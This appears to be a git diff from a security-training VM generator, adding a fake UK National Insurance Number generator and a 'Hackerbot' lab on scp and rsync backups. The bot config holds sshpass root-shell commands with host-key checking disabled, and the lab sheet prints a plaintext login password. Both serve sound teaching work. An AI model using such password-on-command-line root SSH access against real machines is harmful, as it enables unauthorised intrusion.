a/modules/generators/content/national_insurance_number/national_insurance_number.pp b/modules/generators/content/national_insurance_number/national_insurance_number.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/content/national_insurance_number/secgen_local/local.rb b/modules/generators/content/national_insurance_number/secgen_local/local.rb new file mode 100644 index 000000000..d0e6a9a54 --- /dev/null +++ b/modules/generators/content/national_insurance_number/secgen_local/local.rb @@ -0,0 +1,17 @@ +#!/usr/bin/ruby +require_relative '../../../../../lib/objects/local_string_generator.rb' + +class NINGenerator < StringGenerator + def initialize + super + self.module_name = 'National Insurance Number Generator' + end + + def generate + nino = "QQ"<<(10..99).to_a.sample(3)*''<<("A".."D").to_a.sample + + self.outputs << nino + end +end + +NINGenerator.new.run \ No newline at end of file diff --git a/modules/generators/content/national_insurance_number/secgen_metadata.xml b/modules/generators/content/national_insurance_number/secgen_metadata.xml new file mode 100644 index 000000000..db22043db --- /dev/null +++ b/modules/generators/content/national_insurance_number/secgen_metadata.xml @@ -0,0 +1,20 @@ + + + + National Insurance Number + Z. Cliffe Schreuders + MIT + Generates a UK NIN (National Insurance Number). + + national_insurance_number_generator + sensitive_personal + local_calculation + linux + windows + + https://codereview.stackexchange.com/questions/9464/national-insurance-number-generator + + sensitive_personal + \ No newline at end of file diff --git a/modules/generators/content/website_theme/manifests/.no_puppet b/modules/generators/content/website_theme/manifests/.no_puppet new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/content/website_theme/secgen_local/local.rb b/modules/generators/content/website_theme/secgen_local/local.rb new file mode 100644 index 000000000..b58373a7d --- /dev/null +++ b/modules/generators/content/website_theme/secgen_local/local.rb @@ -0,0 +1,20 @@ +#!/usr/bin/ruby +require_relative '../../../../../lib/objects/local_string_encoder.rb' +require 'faker' + +class WebsiteThemeSelector < StringEncoder + + def initialize + super + self.module_name = 'Website Theme Selector' + end + + # Selects one of the parameterised_website css themes and returns it + def encode_all + filenames = Dir.entries("#{ROOT_DIR}/modules/services/unix/http/parameterised_website/files/themes/").reject {|f| File.directory?(f) || f[0].include?('.')} + self.outputs << filenames.sample + end + +end + +WebsiteThemeSelector.new.run \ No newline at end of file diff --git a/modules/generators/content/website_theme/secgen_metadata.xml b/modules/generators/content/website_theme/secgen_metadata.xml new file mode 100644 index 000000000..3653d483f --- /dev/null +++ b/modules/generators/content/website_theme/secgen_metadata.xml @@ -0,0 +1,17 @@ + + + + Website Theme Generator + Thomas Shaw + MIT + Theme selector for parameterised_website module. + + website_theme + linux + windows + + string + + \ No newline at end of file diff --git a/modules/generators/content/website_theme/website_theme.pp b/modules/generators/content/website_theme/website_theme.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/messages/security_audit_remit/templates/security_audit_remit.md.erb b/modules/generators/messages/security_audit_remit/templates/security_audit_remit.md.erb index 3eae6409d..217e2f8c2 100644 --- a/modules/generators/messages/security_audit_remit/templates/security_audit_remit.md.erb +++ b/modules/generators/messages/security_audit_remit/templates/security_audit_remit.md.erb @@ -18,8 +18,11 @@ Our IT team has started developing the servers that we will be deploying; althou Our network design is to have a web server connected to an Internet accessible IP address (DMZ), and all other servers and end user desktops will be connected to an intranet, any connections out to the Internet via NAT. Our systems include: + * A web server with network services + * An intranet server, hosting our security policy documents for internal access + * Desktop systems The Web host will eventually be processing credit card transactions; hopefully thousands of transactions every month. diff --git a/modules/generators/random/random_word/secgen_local/local.rb b/modules/generators/random/random_word/secgen_local/local.rb index 0df071fe8..b8ca70452 100644 --- a/modules/generators/random/random_word/secgen_local/local.rb +++ b/modules/generators/random/random_word/secgen_local/local.rb @@ -2,13 +2,29 @@ require_relative '../../../../../lib/objects/local_string_generator.rb' class WordGenerator < StringGenerator + attr_accessor :wordlist + def initialize super + self.wordlist = [] self.module_name = 'Random Word Generator' end + def get_options_array + super + [['--wordlist', GetoptLong::OPTIONAL_ARGUMENT]] + end + + def process_options(opt, arg) + super + case opt + when '--wordlist' + self.wordlist << arg; + end + end + def generate - self.outputs << File.readlines("#{WORDLISTS_DIR}/wordlist").sample.chomp + word = File.readlines("#{WORDLISTS_DIR}/#{self.wordlist.sample.chomp}").sample.chomp + self.outputs << word.gsub(/[^\w]/, '') end end diff --git a/modules/generators/random/random_word/secgen_metadata.xml b/modules/generators/random/random_word/secgen_metadata.xml index ea376cc56..66ab3fee2 100644 --- a/modules/generators/random/random_word/secgen_metadata.xml +++ b/modules/generators/random/random_word/secgen_metadata.xml @@ -17,6 +17,11 @@ https://github.com/sophsec/wordlist http://wordlist.sourceforge.net/ + wordlist + + wordlist + + generated_strings diff --git a/modules/generators/structured_content/hackerbot_config/backups/backups.pp b/modules/generators/structured_content/hackerbot_config/backups/backups.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/backups/manifests/.no_puppet b/modules/generators/structured_content/hackerbot_config/backups/manifests/.no_puppet new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/backups/secgen_local/local.rb b/modules/generators/structured_content/hackerbot_config/backups/secgen_local/local.rb new file mode 100644 index 000000000..c3948a6ee --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/backups/secgen_local/local.rb @@ -0,0 +1,35 @@ +#!/usr/bin/ruby +require_relative '../../../../../../lib/objects/local_hackerbot_config_generator.rb' + +class Backup < HackerbotConfigGenerator + + attr_accessor :server_ip + + def initialize + super + self.module_name = 'Hackerbot Config Generator Backups' + self.title = 'Backups' + + self.local_dir = File.expand_path('../../',__FILE__) + self.templates_path = "#{self.local_dir}/templates/" + self.config_template_path = "#{self.local_dir}/templates/lab.xml.erb" + self.html_template_path = "#{self.local_dir}/templates/labsheet.html.erb" + + self.server_ip = [] + end + + def get_options_array + super + [['--server_ip', GetoptLong::REQUIRED_ARGUMENT]] + end + + def process_options(opt, arg) + super + case opt + when '--server_ip' + self.server_ip << arg; + end + end + +end + +Backup.new.run \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/backups/secgen_metadata.xml b/modules/generators/structured_content/hackerbot_config/backups/secgen_metadata.xml new file mode 100644 index 000000000..b190ca00b --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/backups/secgen_metadata.xml @@ -0,0 +1,49 @@ + + + + Hackerbot config for a backups lab + Z. Cliffe Schreuders + GPLv3 + Generates a config file for a hackerbot for a backups lab. + Topics covered: . + + hackerbot_config + linux + + accounts + flags + root_password + server_ip + + + + + + + vagrant + + + + + + + + + + + + + + + + + + + puppet + + + hackerbot + + \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/backups/shared/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/backups/shared/labsheet.html.erb new file mode 100644 index 000000000..72dab611a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/backups/shared/labsheet.html.erb @@ -0,0 +1,29 @@ + + + <%= self.title %> + + + + + +
+ + <%= self.html_rendered %> + +
+ + + diff --git a/modules/generators/structured_content/hackerbot_config/backups/shared/license.md.erb b/modules/generators/structured_content/hackerbot_config/backups/shared/license.md.erb new file mode 100644 index 000000000..8e89ace31 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/backups/shared/license.md.erb @@ -0,0 +1,4 @@ +## License +This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + +Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version. diff --git a/modules/generators/structured_content/hackerbot_config/backups/templates/backups.md b/modules/generators/structured_content/hackerbot_config/backups/templates/backups.md new file mode 100644 index 000000000..bc9b1e852 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/backups/templates/backups.md @@ -0,0 +1,338 @@ +# Backing Up and Recovering from Disaster: SSH/SCP, Deltas, and Rsync + +## Getting started +### VMs in this lab + +==Start these VMs== (if you haven't already): + +- hackerbot_server (leave it running, you don't log into this) +- backup_server (IP address: <%= $server_ip %>) +- desktop + +All of these VMs need to be running to complete the lab. + +### Your login details for the "desktop" and "backup_server" VMs +User: <%= $main_user %> +Password: tiaspbiqe2r (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember) + +You won't login to the hackerbot_server, but the VM needs to be running to complete the lab. + +You don't need to login to the backup_server, but you will connect to it via SSH later in the lab. + +### For marks in the module +1. **You need to submit flags**. Note that the flags and the challenges in your VMs are different to other's in the class. Flags will be revealed to you as you complete challenges throughout the module. Flags look like this: ==flag{*somethingrandom*}==. Follow the link on the module page to submit your flags. +2. **You need to document the work and your solutions in a workbook**. This needs to include screenshots (including the flags) of how you solved each Hackerbot challenge and a writeup describing your solution to each challenge, and answering any "Workbook Questions". The workbook will be submitted later in the semester. + +## Meet Hackerbot! +![small-right](images/skullandusb.svg) + +This exercise involves interacting with Hackerbot, a chatbot who will attack your system. If you satisfy Hackerbot by completing the challenges, she will reveal flags to you. + +**On the desktop VM:** + +==Open Pidgin and send "hello" to Hackerbot:== + +Work through the below exercises, completing the Hackerbot challenges as noted. + +--- +## Availability and recovery + +As you will recall, availability is a common security goal. This includes data availability, and systems and services availability. Preparing for when things go wrong, and having procedures in place to respond and recover is a task known as contingency planning. This includes business continuity planning (BCP), which has a wide scope covering many kinds of problems, disaster recovery planning, which aims to recover ICT after a major disaster, and incident response (IR) planning, which aims to detect and respond to security incidents. + +Business impact analysis involves determining which business processes are mission critical, and what the recovery requirements are. This includes Recovery Point Objectives (RPO), that is, which data and services are acceptable to lose and how often backups are necessary, and Recovery Time Objectives (RTO), which is how long it should take to recover, and the amount of downtime that is allowed for. + +Having reliable backups and redundancy that can be used to recover data and/or services is a basic security maintenance requirement. + +## Uptime + +At a console, ==run:== + +```bash +uptime +``` +`` +15:32:38 up 4 days, 23:50, 4 users, load average: 1.01, 1.24, 1.17 +`` + +A common goal is to aim for "five nines" availability (99.999%). If you only have one server, that means keeping it running constantly, other than for scheduled maintenance. + +==In your log book, list a few legitimate security reasons for performing off-line maintenance.== + +## Copy + +The simplest of Unix copy commands, is "cp". Cp takes a local source and destination, and can recursively copy contents from one file or directory to another. + +Make a directory to store your backups. ==Run:== + +```bash +mkdir /home/<%= $main_user %>/backups/ +``` + +==Make a backup copy of your /etc/passwd file:== + +```bash +cp /etc/passwd /home/<%= $main_user %>/backups/ +``` + +We have made a backup of a source file (/etc/passwd), to our destination directory (/home/<%= $main_user %>/backups/). Note that we lost the metadata associated with the file, including file ownership and permissions: + +```bash +ls -la /home/<%= $main_user %>/backups/passwd +ls -la /etc/passwd +``` +Note (and take the time to understand) the differences in the output from these two commands. + +## SSH (secure shell) and SCP (secure copy) + +Using SSH (secure shell), scp (secure copy) can transfer files securely (encrypted) over a network. +> This replaces the old insecure rcp command, which sends files over the network in-the-clear (not encrypted). Rcp should never be used. + +==Backup your /etc/ directory to the backup_server== computer using scp: + +```bash +sudo scp -pr /etc/ <%= $main_user %>@<%= $server_ip %>:/home/<%= $main_user %>/ssh\_backup/ +``` +> This may take some time, feel free to open another terminal console (Ctrl-T), to read the scp man page + +Read the scp man page to ==determine what the -p and -r flags do==. + +> Hint: "man scp", press "q" to quit. + +Now, lets add a file to /etc, and repeat the backup: + +```bash +sudo bash -c 'echo > /etc/hi' +sudo scp -pr /etc/ <%= $main_user %>@<%= $server_ip %>:/home/<%= $main_user %>/ssh\_backup/ +``` + +Note that the program re-copies all of the files entirely, regardless of whether (or how much) they have changed. + +==Ssh to your backup_server system==, to look at your backup files: + +> ssh ***username***@***server-ip-address*** + +This will log you in with *username* on their system. Assuming their computer has the same user account available (as is the case with the VMs provided), you can omit "username", and just run "ssh *ip-address*", and you will be prompted to provide authentication for your own account, as configured on their system. + +So, that is: +```bash +ssh <%= $server_ip %> +``` +> Enter your password when prompted + +List the files that have been backed up: + +```bash +ls -la ssh_backup/ +``` + +**Exit ssh**: + +> exit +> +> (Or Ctrl-D) +> +> Note, this command will close your bash shell, if you are not logged in via ssh. + +## Rsync, deltas and epoch backups + +Rsync is a popular tool for copying files locally, or over a network. Rsync can use delta encoding (only sending *differences* over the network rather than whole files) to reduce the amount of data that needs to be transferred. Many commercial backup systems provide a managed frontend for rsync. + +Note: make sure you exited ssh above, and are now running commands on your local system. + +Lets start by doing a simple ==copy of your /etc/ directory== to a local copy: + +```bash +sudo rsync -av /etc /home/<%= $main_user %>/backups/rsync_backup/ +``` +> Note that the presence of a trailing "/" changes the behaviour, so be careful when constructing rsync commands. In this case we are copying the directory (not just its contents), into the directory etc\_backup. See the man page for more information. + +Rsync reports the amount of data "sent". + +Read the rsync man page, to ==understand the flags we have used== (-a and -v). As you will see, Rsync has a great deal of options. + +Now, lets ==add a file to /etc, and repeat the backup:== + +```bash +sudo bash -c 'echo hello > /etc/hello' +sudo rsync -av /etc /home/<%= $main_user %>/backups/rsync_backup/ +``` + +Note that only the new file was transferred (incremental) to update our epoch (full) backup of /etc/. + +## Rsync remote copies via SSH with compression + +Rsync can act as a server, listening on a TCP port. It can also be used via SSH, as you will see. ==Copy your /etc/ directory to your backup_server== system using Rsync via SSH: + +```bash +sudo rsync -avzh /etc <%= $main_user %>@<%= $server_ip %>:/home/<%= $main_user %>/remote-rsync-backup/ +``` +> Tip: this is all one line + +Note that this initial copy will have used less network traffic compared to scp, due to the -z flag, which tells rsync to use compression. Compare the amount of data sent (as reported by rsync in the previous command -- the -h told rsync to use human readable sizes) to the size of the date that was sent: + +```bash +sudo du -sh /etc +``` + +Now, if you were to ==delete a local file== that had been backed up: + +```bash +sudo rm /etc/hello +``` + +Even if you ==re-sync your local changes== to the server (your classmate’s system), the file will not be deleted from the server: + +```bash +sudo rsync -avzh /etc <%= $main_user %>@<%= $server_ip %>:/home/<%= $main_user %>/remote-rsync-backup/ +``` + +To recover the file, you can simply ==retrieve the backup:== + +```bash +sudo rsync -avz <%= $main_user %>@<%= $server_ip %>:/home/username/remote-rsync-backup/etc/hello /etc/ +``` +> Note, however, that the new file is now no longer owned by root. This can be avoided, if you have SSH root access to the remote machine (for security reasons this is not usually done) to retain ownership and so on. Alternatively, you can use an Rsync server running as root. + +==Delete the file locally, and sync the changes== *including deletions* to the server so that it is also deleted there: + +```bash +sudo rm /etc/hello +sudo rsync -avz --delete /etc *username*@*their-ip-address*:/home/*username*/my-rsync-backup/ +``` +> Note the added "**-\-delete**" + +==Confirm that the file has been deleted== from the backup stored on the server. +> Hint: login via SSH and view the backups + +==Compare the file access/modification times== of the scp and rsync backups, are they the same/similar? If not, why? Note that rsync can retain this information, if run as root. + +## Rsync incremental/differential backups + +If you need to keep daily backups, it would be an inefficient use of disk space (and network traffic and/or disk usage) to simply save separate full copies of your entire backup each day. Therefore, it often makes sense to copy only the files that have changed for our daily backup. This can either be comparisons to the last backup (incremental), or last full backup (differential). + +### Differential backups + +==Create a full backup== of /etc/ to your local /tmp/ directory. + +==Create a new file== in /etc: + +```bash +sudo bash -c 'echo "hello there" > /etc/hello' +``` + +And now lets ==create a differential backup== of our changes to /etc: + +```bash +sudo rsync -av /etc --compare-dest=/tmp/etc_backup/ /tmp/etc_backup2/ +``` +> The **-\-compare-dest** flag tells rsync to search these backup copies, and only copy files if they have changed since a backup. Refer the the man page for further explanation. + +Look at what is contained in /tmp/etc\_backup2/: + +```bash +tree /tmp/etc_backup2 +ls -la /tmp/etc_backup2/ +``` + +Note that there are lots of empty directories, with only the files that have actually changed (in this case /etc/hello). + +Now ==create another change== to /etc: + +```bash +sudo bash -c 'echo "hello there!" > /etc/hi' +``` + +To ==make a differential backup== (saving changes since the last full backup), we just repeat the previous command, with a new destination directory: + +```bash +sudo rsync -av /etc --compare-dest=/tmp/etc_backup/ /tmp/etc_backup3/ +``` + +Look at the contents of your new backup. You will find it now contains your two new files. That is, all of the changes since the full backup. + +==Delete a non-essential existing file== in /etc/, and our test hello file: + +```bash +sudo rm /etc/wgetrc /etc/hello +``` + +Now ==restore from your backups== by first restoring from the full backup, then the latest differential backup. The advantage to a differential backup, is you only need to use two commands to restore your system. + +### Incremental backups + +The disadvantage of the above differential approach to backups, is that your daily backup gets bigger and bigger every day until you do another full backup. With incremental backups you only store the changes since the last backup. + +Now ==create another change== to /etc: + +```bash +sudo bash -c 'echo "Another test change" > /etc/test1' +``` + +Now ==create an incremental backup== based on the last differential backup: + +```bash +sudo rsync -av /etc --compare-dest=/tmp/etc_backup/ --compare-dest=/tmp/etc_backup3/ /tmp/etc_backup_incremental1/ +``` + +==Another change== to /etc: + +```bash +sudo bash -c 'echo "Another test change" > /etc/test2' +``` + +Now ==create an incremental backup based on the last differential backup and the last incremental backup:== + +```bash +sudo rsync -av /etc --compare-dest=/tmp/etc_backup/ --compare-dest=/tmp/etc_backup3/ --compare-dest=/tmp/etc_backup_incremental1/ /tmp/etc_backup_incremental2/ +``` + +If we were to ==delete a number of files:== + +```bash +sudo rm /etc/wgetrc /etc/hello /etc/test1 /etc/test2 +``` + +Now ==restore /etc== by restoring from the full backup, then the last differential backup, then the first incremental backup, then the second incremental backup. + +### Rsync snapshot backups + +Another approach to keeping backups is to keep a snapshot of all of the files, but wherever the files have not changed, a hard link is used to point at a previously backed up copy. If you are unfamiliar with hard links, read more about them online. This approach gives users a snapshot of how the system was on a particular date, without having to have redundant full copies of files. + +These snapshots can be achieved using the --link-dest flag. Open the Rsync man page, and read about --link-dest. Lets see it in action. + +==Make another copy of our local /etc backup:== + +```bash +sudo rsync -avh --delete /etc /tmp/etc_snapshot_full +``` + +And ==make a snapshot== containing hard links to files that have not changed, with copies for files that have changed: + +```bash +sudo rsync -avh --delete --link-dest=/tmp/etc_snapshot_full /etc /tmp/etc_snapshot1 +``` + +Rsync reports not having copied any new files, yet look at what is contained in /tmp/etc\_snapshot1. It looks like a complete copy, yet is taking up almost no extra storage space. + +==Create other changes== to /etc: + +```bash +sudo bash -c 'echo "Another test change" > /etc/test3' + +sudo bash -c 'echo "Another test change" > /etc/test4' +``` + +And ==make a new snapshot==, with copies of files that have changed: + +```bash +sudo rsync -avh --delete --link-dest=/tmp/etc_snapshot_full /etc /tmp/etc_snapshot2 +``` + +==Delete some files==, and ==make a new differential snapshot==. Although Rsync does not report a deletion, the deleted files will be absent from the new snapshot. + +==Recover a file from a previous snapshot.== + +## Resources +[http://webgnuru.com/linux/rsync\_incremental.php](http://webgnuru.com/linux/rsync_incremental.php) + +[http://everythinglinux.org/rsync/](http://everythinglinux.org/rsync/) diff --git a/modules/generators/structured_content/hackerbot_config/backups/templates/cp_ssh.md.erb b/modules/generators/structured_content/hackerbot_config/backups/templates/cp_ssh.md.erb new file mode 100644 index 000000000..2f1d8d275 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/backups/templates/cp_ssh.md.erb @@ -0,0 +1,86 @@ + +## Uptime + +At a console, ==run:== + +```bash +uptime +``` +`15:32:38 up 4 days, 23:50, 4 users, load average: 1.01, 1.24, 1.17` + +A common goal is to aim for "five nines" availability (99.999%). If you only have one server, that means keeping it running constantly, other than for scheduled maintenance. + +==In your log book, list a few legitimate security reasons for performing off-line maintenance.== + +## Copy + +The simplest of Unix copy commands, is `cp`. `cp` takes a local source and destination, and can recursively copy contents from one file or directory to another. + +Make a directory to store your backups. ==Run:== + +```bash +mkdir /home/<%= $main_user %>/backups/ +``` + +==Make a backup copy of your /etc/passwd file:== + +```bash +cp /etc/passwd /home/<%= $main_user %>/backups/ +``` + +We have made a backup of a source file (/etc/passwd), to our destination directory (/home/<%= $main_user %>/backups/). Note that we lost the metadata associated with the file, including file ownership and permissions: + +```bash +ls -la /home/<%= $main_user %>/backups/passwd +ls -la /etc/passwd +``` +Note and take the time to ==understand the differences in the output== from these two commands. Notably the backup file is now owned by <%= $main_user %> (and also belongs to that user's primary group). + +## SSH (secure shell) and SCP (secure copy) + +Using SSH (secure shell), `scp` (secure copy) can transfer files securely (encrypted) over a network. +> This replaces the old insecure rcp command, which sends files over the network in-the-clear (not encrypted). Rcp should never be used. + +==Backup your /etc/ directory to the backup_server== computer using `scp`: + +```bash +sudo scp -pr /etc/ <%= $main_user %>@<%= $server_ip %>:/home/<%= $main_user %>/ssh_backup/ +``` +> You will be prompted for your local password, to confirm the hosts fingerprint ("yes"), and the remote password (which is the same). +> This copy may take some time, feel free to open another terminal console (Ctrl-T), to read the scp man page while you wait. + +Read the scp man page to ==determine what the `-p` and `-r` flags do==. + +> Hint: "`man scp`", press "q" to quit. + +Now, lets add a file to /etc, and repeat the backup: + +```bash +sudo bash -c 'echo > /etc/hi' +sudo scp -pr /etc/ <%= $main_user %>@<%= $server_ip %>:/home/<%= $main_user %>/ssh_backup/ +``` + +Note that the program re-copies all of the files entirely, regardless of whether (or how much) they have changed. + +==SSH to your backup_server system==, to look at your backup files: + +> `ssh *username*@*server-ip-address*` will log you in with *username* on the system. Assuming the remote computer has the same user account available (as is the case with the VMs provided), you can omit "username", and just run "`ssh *ip-address*`", and you will be prompted to provide authentication for your own account, as configured on their system. + +So, that is: +```bash +ssh <%= $server_ip %> +``` +> Enter your password when prompted + +List the files that have been backed up: + +```bash +ls -la ssh_backup/ +``` + +**Exit ssh**: +> `exit` +> +> (Or Ctrl-D) +> +> Note, this command will close your bash shell, if you are not logged in via ssh. diff --git a/modules/generators/structured_content/hackerbot_config/backups/templates/intro.md.erb b/modules/generators/structured_content/hackerbot_config/backups/templates/intro.md.erb new file mode 100644 index 000000000..887e34e68 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/backups/templates/intro.md.erb @@ -0,0 +1,44 @@ +# Backing Up and Recovering from Disaster: SSH/SCP, Deltas, and Rsync + +## Getting started +### VMs in this lab + +==Start these VMs== (if you haven't already): + +- hackerbot_server (leave it running, you don't log into this) +- backup_server (IP address: <%= $server_ip %>) +- desktop + +All of these VMs need to be running to complete the lab. + +### Your login details for the "desktop" and "backup_server" VMs +User: <%= $main_user %> +Password: tiaspbiqe2r (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember) + +You won't login to the hackerbot_server, but the VM needs to be running to complete the lab. + +You don't need to login to the backup_server, but you will connect to it via SSH later in the lab. + +### For marks in the module +1. **You need to submit flags**. Note that the flags and the challenges in your VMs are different to other's in the class. Flags will be revealed to you as you complete challenges throughout the module. Flags look like this: ==flag{*somethingrandom*}==. Follow the link on the module page to submit your flags. +2. **You need to document the work and your solutions in a workbook**. This needs to include screenshots (including the flags) of how you solved each Hackerbot challenge and a writeup describing your solution to each challenge, and answering any "Workbook Questions". The workbook will be submitted later in the semester. + +## Hackerbot! +![small-right](images/skullandusb.svg) + +This exercise involves interacting with Hackerbot, a chatbot who will task you to perform backups and will attack your system. If you satisfy Hackerbot by completing the challenges, she will reveal flags to you. + +**On the desktop VM:** + +==Open Pidgin and send "hello" to Hackerbot:== + +Work through the below exercises, completing the Hackerbot challenges as noted. + +--- +## Availability and recovery + +As you will recall, availability is a common security goal. This includes data availability, and systems and services availability. Preparing for when things go wrong, and having procedures in place to respond and recover is a task known as contingency planning. This includes business continuity planning (BCP), which has a wide scope covering many kinds of problems, disaster recovery planning, which aims to recover ICT after a major disaster, and incident response (IR) planning, which aims to detect and respond to security incidents. + +Business impact analysis involves determining which business processes are mission critical, and what the recovery requirements are. This includes Recovery Point Objectives (RPO), that is, which data and services are acceptable to lose and how often backups are necessary, and Recovery Time Objectives (RTO), which is how long it should take to recover, and the amount of downtime that is allowed for. + +Having reliable backups and redundancy that can be used to recover data and/or services is a basic security maintenance requirement. diff --git a/modules/generators/structured_content/hackerbot_config/backups/templates/lab.xml.erb b/modules/generators/structured_content/hackerbot_config/backups/templates/lab.xml.erb new file mode 100644 index 000000000..49d1dd458 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/backups/templates/lab.xml.erb @@ -0,0 +1,440 @@ +<% + require 'json' + require 'securerandom' + require 'digest/sha1' + require 'fileutils' + require 'erb' + + if self.accounts.empty? + abort('Sorry, you need to provide an account') + end + + $first_account = JSON.parse(self.accounts.first) + $second_account = JSON.parse(self.accounts[1]) + + $files = [] + $log_files = [] + if $second_account.key?("leaked_filenames") && $second_account['leaked_filenames'].size > 0 + $files = $second_account['leaked_filenames'] + $log_files = $second_account['leaked_filenames'].grep(/log/) + end + + if $files.empty? + $files = ['myfile', 'afile', 'filee', 'thefile'] + end + if $log_files.empty? + $log_files = ['log', 'thelog', 'logs', 'frogonalog'] + end + + $main_user = $first_account['username'].to_s + $second_user = $second_account['username'].to_s + $example_file = "/home/#{$second_user}/#{$files.sample}" + $example_dir = "/home/#{$second_user}/personal_secrets/" + + $server_ip = self.server_ip.first + $root_password = self.root_password + $flags = self.flags + + REQUIRED_FLAGS = 10 + while $flags.length < REQUIRED_FLAGS + $flags << "flag{#{SecureRandom.hex}}" + Print.err "Warning: Not enough flags provided to hackerbot_config generator, some flags won't be tracked/marked!" + end + + def get_binding + binding + end +%> + + + + + + Hackerbot + + config/AIML + + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} /bin/bash + + + Hey, today I'm your boss of sorts... Work with me and I'll pay you in flags :) These tasks do require the steps to be completed in order. + + + When you are ready, simply say 'ready'. + 'Ready'? + Ok, I'll do what I can to move things along... + Moving things along to the next one... + Ok, I'll do what I can to back things up... + Ok, backing up. + Ok, skipping it along. + Let me see what I can do to goto that job. + That was the last one for now. You can rest easy, until next time... (End.) + That was the last one. Game over? + You are back to the beginning! + This is where it all began. + Ok. Gaining shell access, and running post command... + Here we go... + I am in to your system. + I have shell. + Let me know when you are 'ready', if you want to move on say 'next', or 'previous' and I'll move things along. + Say 'ready', 'next', or 'previous'. + + + I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*' + Say "The answer is *X*". + There is no question to answer + Correct + Incorrect + That's not possible. + Wouldn't you like to know. + + + Oh no. Failed to get shell... You need to let us in. + + + + Backing Up and Recovering from Disaster: SSH/SCP, Deltas, and Rsync + <%= ERB.new(File.read self.templates_path + 'intro.md.erb').result(self.get_binding) %> +
+<%= File.read self.templates_path + 'resources.md.erb' %> + +<%= File.read self.templates_path + 'license.md.erb' %> + +Randomised instance generated by [SecGen](http://github.com/cliffe/SecGen) (<%= Time.new.to_s %>) +
+ + true + +
+ + +<% $file = SecureRandom.hex(2) -%> + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $server_ip %> /bin/bash + + Use scp to copy the desktop /bin/ directory to the backup_server: <%= $server_ip %>:/home/<%= $main_user %>/remote-bin-backup-<%= $file %>/, which should then include the backed up bin/ directory. + + ls /home/<%= $main_user %>/remote-bin-backup-<%= $file %>/bin/ls /home/<%= $main_user %>/remote-bin-backup-<%= $file %>/bin/mkdir > /dev/null; echo $? + + No such file or directory + :( You didn't copy to the remote /home/<%= $main_user %>/remote-bin-backup-<%= $file %>/bin/... Remember that the trailing / changes whether you are copying directories or their contents... + + + 0 + :) Well done! <%= $flags.pop %> + true + + + :( Something was not right... + + + <%= ERB.new(File.read self.templates_path + 'cp_ssh.md.erb').result(self.get_binding) %> + + + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $server_ip %> /bin/bash + + + It's your job to set up remote backups for <%= $second_user %> (a user on your system). Use rsync to create a full (epoch) remote backup of /home/<%= $second_user %> from your desktop system to the backup_server: <%= $server_ip %>:/home/<%= $main_user %>/remote-rsync-full-backup/<%= $second_user %>. + + ls /home/<%= $main_user %>/remote-rsync-full-backup/<%= $second_user %>/<%= $files.sample %> > /dev/null; echo $? + + 0 + :) Well done! <%= $flags.pop %> + true + + + No such file or directory + :( You didn't copy to remote ssh /home/<%= $main_user %>/remote-rsync-full-backup/<%= $second_user %>/ Remember that the trailing / changes whether you are copying directories or their contents... + + + :( Doesn't look like you have backed up all of <%= $second_user %>'s files to /home/<%= $main_user %>/remote-rsync-backup/<%= $second_user %>. Try SSHing to the server and look at what you have backed up there. + + + <%= ERB.new(File.read self.templates_path + 'rsync.md.erb').result(self.get_binding) %> + + + +<% $first_notes = SecureRandom.hex(2) -%> +<% $hidden_flag = $flags.pop -%> + + + The <%= $second_user %> user is about to create some files... + + sudo -u <%= $second_user %> bash -c 'echo "Note to self: drink more water <%= $first_notes %>" > /home/<%= $second_user %>/notes; echo "Beep boop beep" > /home/<%= $second_user %>/logs/log2; echo <%= $hidden_flag %> > /home/<%= $second_user %>/personal_secrets/flag; echo $?' + + Permission denied|Operation not permitted|Read-only + :( Oh no. Access errors. <%= $second_user %> failed to write the files... The user needs to be able to write to their files! + + + 0 + Ok, good... (Hint: Keep an eye out for a flag...) + true + + + :( Something went wrong... + + + + + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $server_ip %> /bin/bash + + + Create a differential backup of <%= $second_user %>'s desktop files to the backup_server: <%= $server_ip %>:/home/<%= $main_user %>/remote-rsync-differential1/. + + + + grep '<%= $hidden_flag %>' /home/<%= $main_user %>/remote-rsync-differential1/<%= $second_user %>/personal_secrets/flag > /dev/null; status1=$?; ls /home/<%= $main_user %>/remote-rsync-differential1/<%= $second_user %>/<%= $files.sample %> > /dev/null; status2=$?; echo $status1$status2 + + 0[1-9] + :) Well done! <%= $flags.pop %> + true + + + [1-9][1-9] + :( You didn't backup to the specified remote directory. + + + 00 + :( You backed up to the correct location, but it wasn't an differential backup... You probably need to ssh in and delete that last backup and try again. + + + :( Something went wrong... + + + + +<% $rand_diff2 = SecureRandom.hex(2) -%> + + + The <%= $second_user %> user is about to create some more files... + + sudo -u <%= $second_user %> bash -c 'echo "Dont forget the milk" >> /home/<%= $second_user %>/notes; echo "Beep boop beep" >> /home/<%= $second_user %>/logs/log2; echo <%= $rand_diff2 %> > /home/<%= 